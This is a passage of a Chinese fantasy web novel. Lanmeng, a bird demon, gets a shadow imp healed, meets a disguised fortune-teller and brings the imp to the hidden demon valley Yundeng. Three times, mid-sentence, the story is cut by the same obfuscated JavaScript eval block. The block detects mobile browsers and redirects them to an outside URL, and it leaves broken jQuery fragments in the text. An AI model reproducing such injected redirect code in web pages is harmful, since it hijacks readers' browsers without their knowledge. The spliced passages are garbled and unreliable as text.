岚孟没去管那只玩得不亦乐乎的小妖,她专心致志地用刻刀对付那块槐树芯,刻刀飞快,木屑乱飞。 不知何时,山魑停止了玩闹,安静地趴在岚孟肩头,看着她雕木头。 很快,一个脑后竖着马尾、身穿圆领袍的小少年初具雏形。 山魑生气地叫起来:“我不喜欢男的!” 岚孟的手忽然顿住了,她回头看他,狐疑道:“啊?你不就是男的吗?” 山魑吱哇乱叫:“我不管!你换一个,我喜欢女娃娃!” 看着手里已经刻了七成的木雕,岚孟解释道:“要重做的话就只能把外面这一层削了,那样就只能刻一个五六岁大、身高不足五尺的小女孩了。” “五尺有多长?”山魑疑惑道。 ……忘记了,他什么也不懂。岚孟站起身走向窗户边,朝底下一指:“喏,就和那个男人肩上坐着的小姑娘一般大。” 山魑顺着闫扶音的手往下看去,只见一个穿着粉色衣裙、头扎两个冲天辫的小娃娃,左手抓着一根糖葫芦,右手抹了抹鼻子,将莹亮的鼻涕涂在了她亲爹的头发上。 咦惹…… 山魑犹豫道:“那还是算了,我不要做傻子,就先凑合着用吧。” 岚孟怔了一下,意识到他误会了什么,唇角微微勾起,她也不解释,继续做着手上的活。 不多时,一个惟妙惟肖的俊俏小郎君木雕躺在她手中。她将木雕往空中一抛,黑雾便一股脑涌进了木雕之中,落到地上时,木雕已然变成了相同模样的“人”。 少年活动着新得来的身体,心中雀跃不已。 还不赖嘛!这小模样长得还挺标致!他喜滋滋地去拉闫扶音的手。 “我们快走吧!我好想吃葡萄牛乳酥山!” 在屏基山时,闫扶音就给他说过外界的事情,他对人类的美食垂涎已久!今日终于能够大饱口福了! 岚孟扯停他,道:“等会再去,有客人来了。” “客人?”少年疑惑道。 话音刚落,敲门声响起,紧接着是男子上气不接下气的声音:“闫姑娘,我,我是言如期。” 房门打开的一瞬间,言如期立马道歉:“不好意思,路上耽搁了一会。” 岚孟道:“不用在意,你给他看看吧。” 言如期走了进去,才发现一个少年躲在屏风后面,怯生生地望着他。 他怔愣了一瞬,疑惑道:“山魑?” “对,他诞生的山里出了个邪修,所以被污染了,你看看有什么法子可以净化一下。” 岚孟倒了一杯茶给他,言如期却放下药箱径直走到了少年面前。 山魑对这个陌生的人族小白脸没啥好感,扭着身体不让他靠近自己,于是一人一妖绕着屏风跑了好几圈。 言如期生气了,他讨厌不听大夫说话的病患。于是在山魑转弯时,他迅速往反方向走,在屏风另一面堵住了不听话的山魑,扬袖散出一把粉末,山魑顿时便感觉自己一动也不能动了,直愣愣往后倒了下去,眨巴着眼睛,没有反应过来发生了什么。 “真是的,非要逼我用出这一招……”言如期抱怨道。 岚孟无声笑了笑,抬起茶盏轻啜一口。 山魑没有实体,没法用“望闻问切”那一套来诊断病情,于是言如期开了“法眼”,直接透过木雕望向山魑的黑雾身体,将其翻来覆去看了一通以后,才又洒出一把粉末,让他恢复了行动能力。 山魑立即躲到了岚孟身后,咬牙切齿瞪着言如期。 后者施施然坐到岚孟对面,胸有成竹道:“不难治。” “我可以配一副药,以百年黄芩、黄连、黄柏三黄为君,以清心除烦的忘言麦门冬为臣,佐以甘栀和泉竹,再用仲夏月圆之夜采集的三步跳调和阴阳,对了,三步跳又叫半夏……” 岚孟打断了他的滔滔不绝:“抱歉,虽然我是木属性,但却不通药理,你直接给我配药就行。” “啊?哦,好,抱歉。”言如期讷讷道。 “但我手边没有药材,最快也得三天才能配好。” 怎么又是三天,岚孟腹诽道。她将手伸进袖子,实则借袖子的遮掩从妖境里取了一个青色木鸟出来递给了言如期,道:“你配好药以后让它送过来吧,输入灵气就行。” 言如期颇为稀罕地拿起木鸟看了又看,这小东西这么厉害呢? 岚孟又取了千叶菩提花出来,这花并非她催生而来,而是二十多年以前采来的了,放在妖境里一直没什么用,便宜这个脑子不是很灵光的小医修了。 言如期眼睛都亮了,爱不释手地拿着那朵花翻来覆去的看。 检验千叶菩提花功效的方法其实很简单——看花瓣数量。千叶菩提花的“千叶”并非虚数,其花瓣数量可达上千片,而一般的菩提花往往只有不到一百片花瓣,而自己手里这一朵,花瓣层层叠叠,显然是花中佳品。 真是赚翻了!言如期喜滋滋地将千叶菩提收到药箱里,又拿出一个素白瓷瓶递给了岚孟。 “闫姑娘,这是我自己炼制的锁灵回元丹,效果可能不如长老们炼制的的丹药,但也聊胜于无吧,希望你收下。” “我还有事情要做,就不打扰了,告辞。”言如期开门离去。 岚孟看着瓶中丹相饱满、丹纹清晰的五粒上品救命丹药,心想说他脑子不灵光还真没说错啊,这瓶丹药的价值可比千叶菩提花高多了。 不过千叶菩提花可遇不可求,丹药啥时候不能炼?也不算他吃亏。 她将瓷瓶收了起来,朝背后的山魑道:“走吧,去外面逛逛。” “太好了!”山魑激动得跳了起来! 笋蕨馄饨,香酥鸭,三脆羹,荔枝白腰子……他一直从街头吃到了街尾,那张嘴根本就没有停下来过,几乎将每一个食摊、每一家饭馆里的食物都尝了一遍,当然,闫扶音付的钱。 吃到肚子圆鼓鼓的时候,少年终于感觉到了心有余而力不足。闫扶音去什么商行兑换铜板了,而他靠着墙歇息,打算缓一缓,等闫扶音回来再去另一条街扫荡。 这时,他的目光落在了一处冷清的摊位前。 摊主是个白胡子老头,面容枯槁,一双手也像树皮一样满是褶皱,只那双眼睛又大又亮,背后竖着幢幡,上面写着“问卜算卦”几个字。 只不过少年是个文盲,没念过一天书,没写过一个字,他只知道那幢幡上写的是字而不是鬼画符就是了。他好奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929605|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地凑过去看,摊位上只有笔、纸、一碟清水和几枚铜钱,便问道:“老头,你卖什么东西?” 老头抬眼看了看眼前的小少年,在他的视野里,“少年”这个躯壳的内部是一团黑雾,他的脸、他的四肢、他身上的每一根线条上都蒙着淡淡的光芒,无时无刻不在安抚着那团黑雾。 老头摸了摸胡子,眼中饱含笑意:“老朽不卖俗物,只求缘法。小友,你可有兴趣一试?” “什么是缘法?”少年懵懂道。 老头高深莫测道:“诸法因缘生,诸法因缘灭。因缘生灭法,佛说皆是空。” 少年愣住了,好像发现了什么难以置信的事情,他迟疑地问道:“可是,你有头发,你不是和尚啊!” 老头下意识伸手去摸脑袋上的头发,指尖传来头发枯干的触感时,他才如梦初醒,心想怎么被这么个小妖怪带进沟里了,掩饰般地咳嗽了一声,道:“不是佛门中人也能宣扬佛法的。相遇即是缘。今日是八月十七,小友是在此停留的第十七位客人,老朽便送小友一卦吧,权当是全了你我相遇的缘分。” 少年似懂非懂道:“送我?所以缘法就是,我遇到了你,你就要白送我一样东西,那是不是可以请我吃饭?”他按照自己的理解做了一丁点拓展。 老头嘴角微微抽动,这小妖是刚从山旮旯里跑出来的吧?他有点后悔和这个古怪的小妖搭话了,要不是卦象显示他晋升闻道境的转机将会在此地显现,他才不会一连半个月都在这里摆摊算卦寻找有缘人呢!风吹日晒,还一无所获,真他娘的遭罪! 他算了这么多年的卦,第一次对自己的解读产生了怀疑,为什么他一个知行前期,现在就得考虑闻道的事情啊! 他皮笑肉不笑道:“是的,你说的完全正确,但是老朽只能送你一卦,没法请你吃饭。” 少年喜滋滋地在摊位前的凳子上坐下。太好了,他对人类世界的理解又进了一步! “怎么算?” 老头伸手指了指纸笔,“请小友在纸上写下一字。” 少年抓起笔在纸上胡乱画了个圈。 嗯,以后得让闫扶音教他写字。 老头脸色未变,他拿起纸的一角在空中挥舞了几下,口中念念有词,然后把纸放在清水中,过了一会,墨从纸上脱离进入水中,化作一尾墨色小鱼,游动几下便消散了,水也变得澄清如初。 他笑眯眯道:“此卦解为‘否极泰来’,锦鲤入水,羁鸟归林,小友今后的运势定当如阪上走丸。” “皮鸡太奶?那是啥意思?”少年瞪大了眼睛问道。 老头解释道:“时过于期,否终则泰。预示着你以往昏暗晦涩的日子将一去不返,如今一扫所有晦气,世间万般疾苦不加己身,做任何事都会百举百捷。” “原来如此!”少年恍然大悟,喜悦之情染上他的眉梢。 这不就是在说,道零那个大魔头已经死了,他得以从屏基山那个魔窟逃脱,以后的路会越来越好走嘛!咩哈哈哈哈! 余光瞥见一个熟悉的身影,他扭头去看,招手道:“阿音,这里这里!” 他跑过去将人拉了过来,兴高采烈道:“这个老爷爷太厉害了!居然能算出来我往后的日子会越过越好,你也来算算嘛!” 老爷爷?岚孟的目光在“老头”身上梭巡,她轻轻笑了一声。 这伪装太过拙劣,也就能骗骗凡人和山魑这样法力低微的小妖。 枯槁老人的壳子里分明是个正当年华的青年。 10. 酒与泪 岚孟轻笑道:“先生这般打扮倒是过于郑重了。” 袁涯邻愣了一瞬,心想难道她看破了自己的伪装? 不过他也只是变换了容貌而已,和那些坑蒙拐骗的江湖骗子可不是一路人。于是笑着问道:“姑娘想算什么?命理,风水,择日,占卜,老朽样样在行。” 微风吹起了岚孟眼前的黑色鲛云纱,明媚的阳光照了进来,她眯了眯眼睛,鲛云纱便落了下来,没再被风刮起。 就这一瞬间的空隙,让袁涯邻看清了她的模样。 这,这女子骨相甚佳啊!她的额头圆阔饱满,隐有光亮,相书里这叫九善之首,是为聪睿之兆,民间有个更通俗易懂的说法,叫做“美人面”。 这还是他头一回遇到这种面相,搓着手跃跃欲试,“嘿嘿,这位姑娘,这些都是雕虫小技,相面才是老朽的拿手绝活!老朽便为姑娘看个相如何?不收钱!” 岚孟拧眉拒绝。 谁知道他葫芦里装的什么药?岚孟拉着山魑就要离开。 “请留步,姑娘请留步。”袁涯邻敏捷地翻过桌子拦住二人,一点也不像个花甲老人。 “在下其实是个方士,在这里摆摊算卦是为了知疾苦、晓红尘、破虚妄,故而才有如此打扮,我没有恶意的,姑娘大可放心。” 袁涯邻一语道破岚孟的顾虑,她停下脚步,回头问道:“太乙门的?” 袁涯邻点头称是,太乙门的卜算问卦之术在九州大陆无出其右,看来这个名头还是很响亮的。 如今九州大陆最顶尖的五个门派合成“四派一盟”:太乙门,留命堂,揽月剑派,禅宗,山到源。四派分别主修方术、医药、剑招、佛法,山到源自不必说,招揽天下修士为丹灵卫除魔卫道,是个群英荟萃的门派,当之无愧的“盟”。 看她似乎有了些兴趣,袁涯邻连忙推销自己:“我还会算姻缘、运势、占卜吉凶,姑娘要不算个姻缘?”他从袖中抽出一个签筒,来回晃了晃,灵签碰撞发出清脆的响声。 岚孟退了回来,在那只破旧凳子上坐下。 袁涯邻喜不自胜地将签筒放在了她面前,却听到她说了一句:“不算姻缘,问你点事情。” “啊?”袁涯邻遗憾道,其实他是整个太乙门算姻缘最好的那一个来着,“姑娘请说。” “你可知红尘酒是什么?” 岚孟看他怔愣了一下,皱眉道:“不知道吗?那苍生泪呢?” 袁涯邻回过神来,拧眉思考了一会,道:“人间俗世便是红尘,往浅了说,这红尘酒或许是人世间各种酒的集合吧。这只是在下的粗浅猜测,不一定准,苍生泪在下倒是很清楚。” “是什么?”岚孟问道。 “姑娘可知道孟婆汤?” 山魑抢答道:“我知道!一碗孟婆汤,忘却前世不悲伤;一跃忘川河,千年之苦心不悔①!”他便拍手边念出了这首童谣。 “一滴生泪,二钱老泪,三分苦泪,四杯悔泪,五寸相思泪,六盅病中泪,七尺别离泪,八味孟婆伤心泪。孟婆汤八泪为引,去其苦涩,留其甘芳,如此煎熬一生,方熬成一锅好汤②。”袁涯邻道。 “八泪为引……你是说这八种眼泪就是苍生泪?其他的还好说,孟婆泪该上哪找去?总不能下黄泉吧?”岚孟纳闷道。 “这其实也是我们为之费解的问题。方士深入红尘又脱胎于红尘,尝人生百味,以此来证道。据说几千年前有个方士前辈效仿孟婆汤制作了这苍生泪,最后得道升仙了,但是他的配方没有流传下来,所以这第八味孟婆伤心泪究竟是什么也就不得而知了。” “先辈们也用自己或他人的眼泪代替过,但无一例外都失败了。” 难不成真得去黄泉找孟婆不成?那可是个有来无回的地啊……岚孟皱紧的眉头几乎拧成了川字。 她从芥子袋里抓出一把灵石放在了桌子上,礼貌道谢,然后起身欲走。 袁涯邻忙道:“来都来了,姑娘你就算一卦呗?” 岚孟不理解这人为何如此执着,让她不得不怀疑他是不是别有用心了,于是她冷冷瞥了他一眼,拽着意犹未尽的山魑走开了。 虽然从周身灵气波动可以看出这姑娘不过知行前期,可那一眼却让袁涯邻汗毛倒竖,待人离开他视线范围,他才心有余悸地拍了拍胸口。 “人在江湖飘,哪能不挨刀啊……” - 月上西天,岚孟带着山魑少年来到了按云城三百里外的传送阵。九州大地的传送阵几乎都是万象斋的产业,万象斋同各大城池以及“四派一盟”的关系都十分密切,所以万象斋虽然并无造化境老祖坐镇,但是从来没有人敢在万象斋的地盘闹事,毕竟这是个背靠诸多门派,“一方有难、八方支援”的大商行。 传送阵前排起了四条长龙,分别去往不同的城池,届时只要在启阵时改变阵法上晶石的位置,就能改变最终目的地。 岚孟排在写有“宁州连溪城”二字队伍后,山魑少年则站在她身侧好奇地四处打量。 一个身穿万象斋服饰的人走了过来,岚孟取了三千灵石放在了他手中。这是两个人的费用,而他们到了连溪城以后,还得再坐一次传送阵才能到达目的地。若不是小山魑的身体情况容不得拖延,她也不会为了赚这点路费去万象斋搞钱。 不多时,轮到他们坐传送阵了,岚孟抓着山魑的胳膊,生怕他晕厥过去。 少年对此颇为不满,一个传送阵而已,他堂堂屏基山一霸还会怕不成?于是他甩开了一副的手,坚决不让她扶。 很快,他就为此前说过的大话付出了惨痛的代价——好晕啊那个人为什么有两个头天上怎么长了树地上怎么有四个大圆盘子唔啊啊#&*%##@…… 岚孟抓着少年的后衣领拖着他走出了传送阵,守阵之人吓了一大跳。 她讪笑道:“没事没事,还活着呢,不用,你们忙你们的。” 她拖着山魑少年走到五里外的传送阵,给了前面排队的人每人十个灵石以后,顺利站到了最前排,没等多长时间便从连溪城到了折梅乡。 山魑少年幽幽转醒,一轮白色的大圆盘子和布满星辰的夜空映入眼帘,嘴里苦苦的,他“呸”地一声将嘴里的东西吐了出来,发现是几片绿油油的叶子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929606|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “醒了?” 闫扶音的声音从头顶传来,他扭头看见那个人做在巨石顶端,手里玩着一朵花,优哉游哉地晃着腿。 “既然醒了,那我们就快走吧。”她跳下巨石,弯腰拍了拍粘在裙角的草屑。 “你给我吃的什么啊。”苦涩感让少年的五官都缩成了一团,他不停“呸呸”往外吐口水。 岚孟轻轻笑了一声,“自然是能让你神清气爽的好东西,别人想要我还不给呢。”她率先迈步走了出去,少年扶着昏昏沉沉的脑袋跟了上去。 走了没多久,少年就感觉腿要断了,他哀嚎道:“还有多久到啊,人家走不动了嘤嘤嘤……” 岚孟回头无奈地看了他一眼,折回来搂住他的腰,沉声道:“抓稳了。” 还不等少年反应过来她的意思,他忽然感觉脚下腾空了,整个人都飞了起来,眼前景物逐渐变小,漆黑的山林,弯曲的河流,沉睡的村庄,都被他踩在脚下,山川大地飞快地从他眼前划过。 风声呼啸在耳畔,除了风声,似乎还有一种经常在他耳边回响却又被他忽视的声音。 是什么呢…… 一根蓝色羽毛忽然从他眼前飘过。 是了,是鸟儿振翅的声音! 少年下意识回头,一只温柔却不容拒绝的手按住了他的脑袋。 耳边传来一声低语:“要降落了哦。” 一条大河从少年眼前飞速划过,他看到了万丈瀑布,汹涌澎湃的流水声钻入他的耳中。 “啊——” 少年感觉自己在急速下坠,深潭近在眼前,就在他以为自己将要摔进水中尸骨无存的时候,呼啸的风声戛然而止,时间也似乎停止了流逝,搂在自己腰间的手轻轻将他放在了水面上,他竟然在迅疾的流水上站稳了。 闫扶音牵过他的手,拉着他往河流上游跑去,水滴飞溅在他的脸颊上,那数百丈高的瀑布近在咫尺,而闫扶音的脚步还没停,少年下意识闭上了眼睛,他感觉自己好像脱离了寄身的木雕,以黑雾的姿态穿过了水帘。凉意一闪而过,紧接着是春日般的暖意,他又回到了寄身的木雕里。 “嘘——”岚孟贴在少年背后,压低了声音:“我们偷偷进去,千万别惊动旁人。” 山魑睁开眼睛,看到了不远处月光下漆黑、静谧、安详的村庄,村庄之后是高耸的雪山。他点了点头,两妖蹑手蹑脚往村中走去。 “咔哒。” 是枯树枝被踩断的声音。 山魑的心抖了三抖。 哪来的声音?是他踩到了,还是闫扶音? 岚孟虎躯一颤,她直起身来,无奈道:“出来吧。” 火光猛地窜起,少年被乍然而起的光亮刺得闭上了眼睛,喧闹声传入耳中,好像有很多人在他身边叽叽喳喳一般。 少年谨慎地睁开了一只眼睛,映入眼帘的是或远或近的明亮火把,拿着火把的是一群奇形怪状的“人”,有的头上有犄角,有的长着毛茸茸的耳朵和尾巴,有的口露尖牙,有的笑容温暖如骄阳。 少年瞪大了眼睛。 他们,全都是妖族。 11. 云登谷 “岚——孟——” 一个身穿彩衣的姑娘从群妖头顶飞了出来,犹如一道闪电,“嗖”地一声就把闫扶音扑倒了。 岚孟吃痛地喊:“疼疼疼——我背后有个石头——” 彩衣姑娘今望月被其他人拉了起来,明艳不可方物的脸上满是委屈:“小孟孟,你都不想我吗,我们都三个多月没见了,我可想你了!你不在的时候,我晚上睡觉都睡不踏实。” 岚孟看着围绕在今望月嘘寒问暖的四个不同类型的妖族,一个风流倜傥,一个魁梧高大,一个温润如玉,一个楚楚动人,她的目光在他们身上转了一圈,又回到了今望月的身上,似笑非笑道:“你还有空想我呢?” 今望月眨巴着柔情似水的眼眸,一把推开揽住自己胳膊的妖夫,凑到岚孟身边,丰腴的身体贴着她,吐气如兰道:“要不你掏开我的心窝看一眼,看看里面是不是只有你一个人……” 岚孟笑骂着推开那这个热情的美貌女妖:“可去你的吧。” 众妖哄笑,七嘴八舌地问着她的近况。 “岚孟,不是说去几天就回来吗?” “别是被外面的臭男人迷住了吧!” “为什么一定是臭男人,香香软软的女子不可以吗,像我这样的……” “拉倒吧你,看你长的什么熊样,胸前也没二两肉……疼疼疼,姑奶奶我错了,错了!” 山魑心想为什么他们都叫闫扶音岚孟?莫非这才是她的名字?他想不通,紧紧抓住了闫扶音的袖子。 一个身穿古朴长袍的老者走了出来,他的脸上沟壑纵横,灰白的胡子拖到了地上,步伐不快也不慢,浑身上下都散发着平和、沉着、安定的气息。 他一出现,群妖便都安静了下来。 老者的嗓音沧桑而有力,如秋日的风,轻轻吹过岁月长河。 “岚孟,这就是你说的帮助过你的小妖?” 山魑少年好奇打量着面前的老者,腹诽道,这个老爷爷看着倒是比那个会算命的要靠谱得多,这些大妖都听他的话,说不定很厉害。 岚孟恭敬道:“是的,我想让他在这里借住一段时间,等到身上污染完全祛除,再送他离开。” 老者的目光在山魑身上打量,山魑只感觉自己整个妖都被他看穿了,却并不感觉冒犯。 老者道:“既然是你带回来的,老夫自然没有异议,各位意下如何?” 群妖又沸腾起来。 “没有意见!他想来就来!别来抢我打的洞就行!” “得了吧你,跟谁稀罕你那老鼠洞似的!” “他会写字会读书吗?要是会的话可以来做我的书童。” “不行不行,他得来我的打铁铺子,我缺个烧火的!小六子毛手毛脚的,烧了老子好几个炉子了!” “……” 岚孟抬了抬手,喧闹声戛然而止。 她笑着一一回答了他们的问题:“我打算让他在回溪里修行,到时候在溪边找棵树就能住了。他不认字,每日修行结束之后可以去你的私塾里。” 岚孟隔空点了点那个书生打扮、说需要书童的妖族,后者抗议道:“又把小屁孩塞给我?你这甩手掌柜当得挺自在啊。” 他无可奈何地耸了耸肩,妥协道:“行吧,谁让我是这谷里唯一一个读书人呢?只要他别拆屋子就行。” 岚孟继续道:“至于其他事情,你们找本人商量就行,别欺负他。” “哪能啊,我们什么性子,岚孟你还不清楚嘛!”声称缺一个烧火童子的赤膊狼妖爽朗道。 岚孟勾唇笑道:“自然,你把我尾巴毛烧了的事情我还记着呢。” 狼妖的笑容一下子僵住了。 四周一阵哄笑。 老者道:“既然不确定要待多久,就让他在众生石上留个名吧。” 群妖缓缓让出一条道路。 老者走在前头,岚孟朝少年扬了扬下巴,示意他跟上。 少年看见不远处有一块比他还高的光滑石头,表面干干净净,没有一丝灰尘,像是有人时常抚摸擦洗一般。 老者弯腰抓起了自己的胡子,把毛笔一般的胡子尖端放在嘴里抿了抿,像是蘸墨一样,他扭头看向少年,温和道:“孩子,说出你的名字。” 少年愣了一下,支支吾吾道:“我没有名字。” 周围没有笑声,也没有窃窃私语,老者的笑容如春水一样温柔:“既如此,你可以自己取一个。” 少年揉了揉头发,求助的目光望向站在自己身后的岚孟。 岚孟低头思考片刻,抬起头时,满天繁星落入她的眼中,她张了张嘴,道:“昭昭若日月之明,离离如星辰之行①。” “你便叫昭离吧。” 少年使劲点了点头。 老者提着胡须毛笔,在众生石上缓缓书写,每写下一笔,便有一丝星光从夜空飞下来落在他的笔端,每一撇,每一捺,都有日月山川见证。 最后一笔落下时,昭离忽然觉得自己和这个神秘的空间多了一分若有似无的联系。 老者放下了胡须,摆摆手道:“都散了吧。” 群妖纷纷离开。 老者瞥了岚孟一眼,没有感情道:“下不为例。” 岚孟讪讪地挠了挠头。 今望月凑了上来,好奇道:“不是说几天就能回来么?那道零仙人很难缠?还有你这头发怎么回事?被驴啃了?” 岚孟捋了捋刚过肩膀的头发,没好意思说自己阴沟里翻了船,被人逮住还关了两个多月。 正思考着该怎么蒙混过去,她忽然灵机一动,看着今望月笑意盈盈道:“不若你和我去山上住吧,你不是说想我吗?到时候我们躺在一个被窝里促膝长谈,我有好多话想和你说呢。” 今望月眼睛一亮,就要扑向岚孟,不料左右各伸出一只手紧紧抓住了她的胳膊。 温柔又不容拒绝的声音在她耳边响起:“月儿,岚孟刚回来,让她好好休息吧,就别去打扰了。” 另外三个妖夫纷纷附和,平时争风吃醋惯了的四人终于达成共识,一致对外——阻止威胁最大的情敌岚孟带走今望月。 岚孟故作遗憾道:“也是,还得安顿这小子,那我之后有空的时候再和你说吧。” 今望月惋惜不已,可岚孟眼下的青黑和疲态让她于心不忍,终于妥协道:“好吧,那我就先回去了,明天再来找你,顺便给你修一下头发。” 今望月左拥右抱着离开了,没能挨着她的两个妖夫时不时回头瞪岚孟一眼。 岚孟却是松了口气。 昭离朝岚孟走过来,一个头顶兽耳的小童忽然从侧边的灌木里蹿了出来,一把抱住了岚孟的大腿,奶声奶气道:“岚孟,我也要你给我起名字,你给我起嘛!” 岚孟挑眉道:“怎么,你不喜欢你爹给你起的名字?” 话音刚落,一阵咆哮响彻山林:“王麻虎!胆肥了你!你就这么嫌弃老子起的名字吗!” 昭离循着声音的方向看去,只见一个膀大腰圆的汉子怒气冲冲地走了过来,他的头顶同样是一对毛茸茸的兽耳,和这小童一看就是父子。 小童的身体颤了一颤,撒开抱住岚孟大腿的手,落地化作花斑老虎,撒开四肢一溜烟跑了。 汉子迈开双腿追去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929607|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他的脚步极重,地面都仿佛抖了三抖,小童被震得跳了起来,双脚还未触到地面,就被亲爹单手揪住了他的后脖颈。 “爹,爹,我错了,我一点也不嫌弃王麻虎这个名字!”小童哭嚎道。 “现在求饶有什么用!明天不许吃兔子干!” “哇——你欺负我,我要告诉娘,我要告诉娘呜呜呜……” 一大一小逐渐走远了,昭离的目光追随他们远去。 “走吧,我带你去回溪。” 岚孟的声音唤回了他的思绪,昭离迈步跟上了她。 “阿音,为什么他们都叫你岚孟?还有这里到底是什么地方啊?” 他一直没有问过这个问题,只知道要来的是闫扶音的家,是她诞生的地方,他以为也是山啊林啊,毕竟闫扶音是鸟妖,不住在树上难道住地洞不成?却没有想到这里的妖族这么多,生活方式和他的想象也大相径庭。 他们像人类一样群居生活,穿衣服,吃熟食,有学堂,有铁匠,同外界人族村落别无二致。他可以看见山脚的房屋鳞次栉比,脱落的墙皮、长满杂草的屋顶,布满了岁月的痕迹,昭示着这个村落绝非近日才落成。 岚孟一边在前面引路,一边解释道:“岚孟才是我的本名,你叫我闫扶音也没关系,不过是个名字。” “嗯!”昭离重重点了点头。 “你知道春神吗?”岚孟问道。 “春神?”在屏基山时,昭离听其他小妖们说起过这个名字,“是那个掌管木灵的神明句芒吗?” “世间十大灵属,每一个都有对应的神明掌管。木是最特殊的灵属,是唯一一种源于生灵的灵属,象征着生命与恢复,所以木神又叫春神。几万年前,不周山倒塌,灵气枯竭,没法再供养古神的存在,于是日神东君便携众神飞升了上界。诸神虽然走了,但他们的居所却留在了尘世,这里就是春神句芒的神邸,云登谷。” “云登谷……”昭离重复着这个古老神秘的名字。 他们来到了一条溪边,溪水清澈见底,河床上躺着一个个鹅卵石,几条银白色的小鱼一闪而过。靠近岸边的水中开着五颜六色的细小花朵,在皎洁的月光下朦胧动人,“哗哗”的水流声令人感觉安宁又祥和。 岚孟介绍道:“这就是回溪,源起空山,头尾相接,故称为‘回’,有洗髓伐骨、涤荡污秽的功效。你每日需要逆着溪水游至少三圈,但不要多于五圈,急于求成反倒不美,可以慢慢恢复,等言如期炼制的丹药到了以后再配合服用。” “游完以后,你就去村子那一头的私塾里习字,教书先生是条蛇妖,你刚刚也见过了,他叫霜笛。” 昭离懵懂地点了点头。 岚孟指了指周围的树木,“这些树随便挑,喜欢哪棵就住哪棵,别折断了就行。日后如果有村民邀请你,你也可以去他们家里住。” “今天有些晚了,你好好休息,天亮了再开始修炼。” 见岚孟拔腿欲走,昭离连忙拉住她问道:“你住哪里啊?我该怎么找你?” 岚孟指了指那边最高的山,笑道:“不必来找我,只要你在谷中呼唤我的名字,我就会出现在你面前。” 她化作流光飞了出去。 昭离愣愣地收回了手,半晌,他舒了一口气,环顾四周,找了一棵最顺眼的树,化作黑雾缠绕在了树干上。 溪水静静流淌,鸟语虫鸣时不时打破静谧。趴在树上,他脑海中纷乱的思绪才渐渐安静下来,舟车劳顿的疲惫和进入新环境的惴惴不安也在这个无人打扰的静谧空间的安抚下逐渐平息。 背井离乡的感觉,也不算坏呢,他想。 12. 春神使 云登谷最高的山,名叫“空”。 不同于谷中的绿意盎然、生机勃勃,空山就是一座石山,山上一片荒芜,寸草不生,山巅昼夜不分地飘着大雪,群峰环绕之中的一片银白湖泊,叫做“龙栖湖”,回溪便是发源于此。 圆月倒映在龙栖湖镜子一般的水面上,水面之下仿佛有长身白龙在缓缓游动,一束流光飞落湖畔,化作黑发黑瞳的布衣少女,正是岚孟。 她提步走上了湖面,走过的地方泛起层层涟漪,持续而缓慢地荡到岸边,又慢悠悠地荡回来。参差不齐的头发迎风摇曳,一抹蓝色从头顶开始逐渐蔓延到了发尾。 岚孟走到了湖中心,面朝东方单膝跪下,左手向前抬高至与头顶平齐,她低下头,看着自己在水面上的倒影,看着倒影中自己蓝色的眼瞳。 “不肖子孙岚孟,远游归来,问神主安!” 大雪从四面八方刮来,几息之间便笼罩了整个龙栖湖,模糊了岚孟的眼睛。一阵带着树叶香气的风轻轻吹散了薄雪,呈现在岚孟眼前的是一望无际的辽阔湖面,一株苍天巨树静静立在她面前。微风迎面吹来,枝叶都朝她的方向靠拢,一片绿色树叶从枝头悄然滑落在她的手心,像是一个长者笑着弯下腰用手轻轻碰了一下她,转瞬间那叶子便化作光点消散了。 这时,岚孟才站起身来,朝巨树后方走去。 只有走在侧面,才能看到被巨树遮得严严实实的一排排形态、颜色各异的树木,有笔直挺立的白桦树,有叶子圆圆的梧桐,“万条垂下绿丝绦”的细柳,也有开着白花、红花的高大玉兰,风吹叶动,沙沙作响,像是不同模样、不同性格的人揉在一起的笑闹声。 岚孟一步一步从他们身前走过,感受着或冷或暖的气息拂过她的身体,她一边走一边在心里默数着数字。 ……二百四十八,二百四十九。 她停下了脚步,站在她面前的是一棵高大的枫树,红叶如火,热烈的气息扑面而来。低矮处的枝干上挂着一块石头磨成的令牌,其上刻着“尧玦”二字,下面坠着一片金黄的羽毛,岚孟盘腿在树前坐下,一抬眼便能将羽毛收入眼帘。 “我回来了。” 岚孟说。 金羽飘摇,只有往来的风听到了。 - 次日,天朗气清。 溪水中一团黑乎乎的影子靠近了岸边,幻化出四肢,手脚并用爬上了岸,钻进了草地上的少年木雕之中。 “呼……呼……”昭离躺在岸上大口喘着气。 他本打算逆着回溪游五圈,可刚游到第二圈就感觉心有余而力不足了,卯足了劲回到起点,只感觉再在水里待下去他非得溺死不可,于是便爬上了岸。 他抬起手对着阳光看了看。 好像变淡了点? 昭离不确定地想。 